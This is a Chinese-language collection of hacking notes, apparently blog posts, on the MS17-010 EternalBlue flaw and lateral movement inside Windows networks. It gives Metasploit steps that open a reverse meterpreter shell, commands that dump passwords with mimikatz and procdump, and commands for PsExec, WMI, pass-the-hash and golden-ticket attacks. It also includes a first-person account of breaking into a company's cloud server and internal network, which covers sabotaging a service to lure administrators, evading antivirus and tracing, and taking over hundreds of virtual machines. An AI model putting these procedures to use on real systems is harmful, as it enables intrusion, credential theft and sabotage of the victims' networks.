永恒之蓝(ms17-010)过TCP端口445和139
来利用SMBv1 SMB 协议 即 SMBv1 全名: Server Message Block
和NBT中的远程代码执行漏洞,
恶意代码会扫描开放445文件共享端口的Windows机器,
无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt
在处理FEA(File Extended Attributes)转换时,
在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。
然后会进行如下操作:
srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
目前已知受影响的Windows 版本包括但不限于:
WindowsNT,2000、 XP、 2003、Vista、 7、 8,2008、2008 R2、2012 SP0。
搜索ms17_010漏洞:search ms17_010
进入漏洞模块: use exploit/windows/smb/ms17_010_eternalblue
查看漏洞模块信息:info
设置攻击目标:set RHOSTS 172.16.7.180
查看可用的攻击payload:show payloads
选择并设置攻击Payload:set payload windows/x64/meterpreter/reverse_tcp
设置接收信息的本地设备:set LHOST 172.16.7.95 and port
最后检查下当前的配置:show options
开始攻击:exploit
直接拿到目标的Shell,然后任意命令执行
获取用户密码
load kiwi
进程迁移
creds_all
shell切换到控制机dos界面
创建新用户
提升至管理员权限
输入 net localgroup administrators查看管理员都有谁
开启 远程桌面控制
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
rdesktop x.x.x.x:3389
Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets
http://k8gege.org/Ladon/cmddll.html
https://blog.csdn.net/k8gege/article/details/112253408
当一个企业把他的业务放到腾讯云或阿里云等公有云的时候,其是与企业的内网是不相通的,
相当于逻辑隔离了(非物理隔离),
如果企业信息安全做的相对较好,不暴露VPN地址或者路由器或防火墙业务,
信息收集的时候,是很难进精准定位到企业的内网使用的公网地址的。
这个时候,想要入侵内网相对困难。
下面就介绍一下我从入侵公有云到渗透进内网进行漫游的实际渗透过程。
怎样入侵拿下云服务器的不是本文重点,故不做详细介绍,只简单介绍思路。
根据公司名字,直接百度发现官网地址。根据官网地址进行了一波信息收集:
1、发现站点使用了CDN,是腾讯云主机,ip是变化的,无法探测真实IP
2、发现存在任意命令执行漏洞。直接RCE,拿下服务器权限。
先看下ip地址
发现显示的是内网地址,这个时候,查看下真实的ip,虽然这个对接下来的内网渗透没什么diao用。
这个时候,我就要办法获取公司办公网的外网IP了,
这个外网ip要么是防火墙的,要么是路由器的。怎么获取呢?
我想到了一个办法,一般云主机,
运维人员会通过ssh来进行管理,一般在上班时间,他们会连接进来,这个时候,就会获取到公司的真实公网IP。
教大家一个小技巧,如果是小公司,运维可能十天半个月都不会连上来,
这个时候,我们就可以搞点“小破坏”,逼迫运维上线。
比如关闭它的web服务等等,大家千万注意两点:
1.动作不要太大,免得被运维发现被黑,当然你可以提前做权限维持,这里不做介绍。
2. 没有“授权”,千万不要乱搞;没有授权,千万不要乱搞;没有授权,千万不要乱搞,
3. 否则就会进局子吃免费的饭了,咋不能干违法的事,哈哈。
我们看看运维上线没:
[root@VM-0-13-centos~]# netstat -lantp | grep ESTABLISHED
我们重点关注sshd进程,这个前面的公网IP就的运维所在公司的公网IP。
我这里发现了两个。。。
同样繁琐的事情来一波,信息收集。。。
发现了shiro发序列化漏洞,直接反弹shell了
直接进来了:
看一下内网地址:内网地址是10.10.10.187
看看目标机器能否访问外网:
最理想的状态,可以访问外网,接下来就可以开始代理进内网进行渗透了。
frp+Proxifier代理搞起来,这里怎样搭建就不详细介绍了,可以自行谷歌。
很简单,最好是socks5代理,并加密,躲一下AV的流量检测;
也最好增加代理的密码,防止“别人”使用。
我这里使用了修改版的frp,利用远程加载配置文件的方式,稍微躲避一下,增加一点点溯源的难度:
代理搭建完,接下来扫一下内网看看:
有经典的MS17-010漏洞,其实还发现了很多其他的漏洞。
就拿最好利用的MS17-010快速开始吧,而且是windows服务器,利用价值大,且拿下后,
用服务器再做一层代理,连RDP可以快速结束战斗,一把梭。
我的msf是公网,利用proxychains代理一下,直接。
开始:
成功(这张图是后来补的,信息可能不一致,但原理一样)
看下权限是system最高权限,省去提权了。
利用mimikatz来抓取密码:
获取到了管理员的密码
发现开了3389直接登录
发现了这个,虚拟机备份,这个可以使用本地认证,有搞头。。。
发现了群辉NAS
发现了3台Vcenter
虚拟机超多呀,粗略看了一下,几百台。。。。全部可以接管了
感谢 黑猫老哥 提供 文章 【再次感谢 】
Windows的系统密码hash一般由两部分组成:
LM-Hash和NTLM-Hash hash
格式为username:RID:LM-Hash:NTLM-Hash
Mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz
Mimikatz可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码 full
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
lsadump::sam /sam:SAM /system:SYSTEM
下载地址:https://docs.microsoft.com/zhcn/sysinternals/downloads/procdump
Procdump是微软官方发布的一款调试工具,
可通过Procdump转储内存文件到本地再通过mimikatz来抓取文件中hash,
可躲避杀软查杀 使用Procdump将lsass.exe转储成dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass
使用mimikatz从转储的lsass.dmp中读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
Get-PassHashes.ps1是nishang中的一个脚本,可用于导出hash
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
IPC(Internet Process Connection)共享命名管道的资源,
是为了时间进程间通信而开放的命名管道,通过提供用户名密码建立一条安全的、加密的、用于数据交换的通道.
通过这个连接,可以在目标机器上执行命令,文件上传/下载等.
在同一时间内,
两个ip之间允许建立一个连接.
net use \\[DC-IP]\ipc$ ["password"] /user:[username]
net use \\192.168.10.1\ipc$ "Admin@123" /user:administrator
通过建立的IPC连接,可便于win7访问2008的文件,进行上传、下载等操作。
IPC连接还可进行本地映射,将DC的C盘映射到本地Z盘
net use z: \\[IP]\c$ [password] /user:[username]
net use z: \\192.168.10.1\c$ "Admin@123" /user:administrator
net use \\[IP] /del /y
net use \\192.168.10.1 /del /y
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
PsExec是一种轻量级telnet-replacement,
可用于在其他系统上执行进程,为控制台应用提供完全交互性,而无需手动安全客户端软件。
PsExec需要目标机器开启admin$共享(默认是开启的),
如果目标机器开启防火墙,那么PsExec将无法使用.
PsExec基本原理:
通过ipc$连接,释放二进制文件psexecsvc.exe到目标机器
动过服务管理SCManager远程创建一个psexec服务,并启动服务
客户端连接执行命令,服务端通过服务启动相应的程序执行命令并返回数据
运行结束后删除服务
在建立ipc$的情况加可直接进行连接
PsExec.exe -accepteula \\192.168.10.1 -s cmd.exe
-accepteula:第一次运行psexec时会弹窗,使用该参数不会弹框
-s:以system权限运行,不使用此参数测试administrator权限
没有建立ipc$连接可通过-u,-p两个参数来指定用户名密码
PsExec.exe \\192.168.10.1 -u administrator -i -p Admin@123 cmd.exe
Metasploit中也有psexec模块
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)
下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.pysmbexec
smbexec是一款基于pexec的与渗透测试工具,
并配套samba工具,可以通过文件共享
在远程系统中执行命令
smbexec.py [username]:[password]@[IP]
WMI(Windows Management Instrumentation,135端口)
是Windows自带功能,WMI以本地和远程方式提供了许多管理功能,
包括查询系统信息、启动和停止进程以及设置条件触发器,
而且整个运行过程都在计算机内存中发生,具有极高的隐蔽性。
使用wmic远程执行命令,
需要在目标机器开启WMI服务(需要开放135端口,wmic会以管理员权限在远程系统中执行命令)
查看目标机器进程信息
wmic /node:[IP] /user:[username] /password:[password] process list brief
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process list brief
使用cmd执行命令(没有回显需要通过ipc$和type来进行读取)
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process call create "cmd.exe /c whoami > whoami.txt"
对windows自带的wmic做了一些改进,可通过用户名密码或者配合哈希传递等一起使用
该脚本是impacket工具包中的一个工具.
下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
python wmiexec.py [username]:[password]@IP
python wmiexec.py -hashes [LM Hash]:[NT Hash] [username]@[IP]
通过vbs脚本来调用WMI来模拟PsExec功能.
cscript.exe //nologo wmiexec.vbs /shell [IP] [username] [password]
Invoke-WMIMethod是powershell自带的模块
#目标系统用户名
$User = "DC-2008\administrator"
#目标系统密码
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
#账号密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
#远程运行计算器程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.1" -Credential $Cred
Pass The Hash (PTH,hash传递攻击)
Pass The Ticket(PTT,票据传递攻击)
Pass The Key(PTK,密钥传递攻击)
当使用PTH的时候当目标机器存在KB2871997补丁后,
PTH配合Mimikatz只能连接域用户,不能连接其他组的用户。
PTK需要目标机器存在KB2871997补丁才可以连接域用户,
也可以连接组,采用ase256连接,
PTH与PTK都是基于NTML认证,而PTT是基于kerbros协议。
PTH在内网中是一种经典的攻击方式,
可直接通过LM Hash(已弃用)和NTLM Hash访问远程主机或服务。
在打补丁后,常规的PTH已无法成功,唯独SID为500的用户除外,
利用这个用户仍可以通过PTH来远程ipc连接
如果禁用了NTLM认证,PsExec无法利用获得的NTLM Hash进行远程连接,
可通过Mimikatz来进行连接
在得到NTLM Hash后通过Mimikatz进行hash传递
sekurlsa::pth /user:[username] /domain:[domain] /ntlm:[NTLM Hash]
sekurlsa::pth /user:administrator /domain:dc.2008.com /ntlm:70be8675cd511daa9be4b8f49e829327 //连接域用户
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:70be8675cd511daa9be4b8f49e829327 连接本地用户
PTK需要一个前提条件,目标主机必须打KB2871997补丁,因此用的很少
sekurlsa::ekeys //获得aes256值
sekurlsa::pth /user:administrator /domain:dc.2008.com /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
PTT是基于kerberos协议进行攻击,最常见的攻击方式:黄金票据、白银票据
mimikatz.exe "kerberos::golden /user:[用户名] /domain:[域名] /sid:[域SID] /krbtgt:[krbtgt NTLM Hash] /ticket:Administrator.kiribi"
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /target:[目标主机名] /service:<服务类型> /rc4:[KRBTGT NTLM Hash] /user:[任意用户名] /ptt"
参考
https://www.freebuf.com/articles/network/251364.html
https://xz.aliyun.com/t/9744#toc-3
https://www.freebuf.com/articles/system/229200.html
http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/#toc-heading-5
https://www.cnblogs.com/bmjoker/p/10355979.html
三层代理内网穿透,会学习到各种内网穿透技术
cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网。
获取 域控制权限
第三方 加载 wmi payload
主机名 \账户名
指定域用户 域名\用户 域名@用户
shell 目标地址 + 凭据
wmi hash套件
查看域内 那些主机 可以用 你的凭据 登录
用百分号 分割
构造 system 权限 的 service
dump 下 哈希 和明文密码
票据
事件 溯源
smb tcp 派生
绕过 远程 UAC 执行操作
票据传递
哈希 操作 win10之后 绕过证书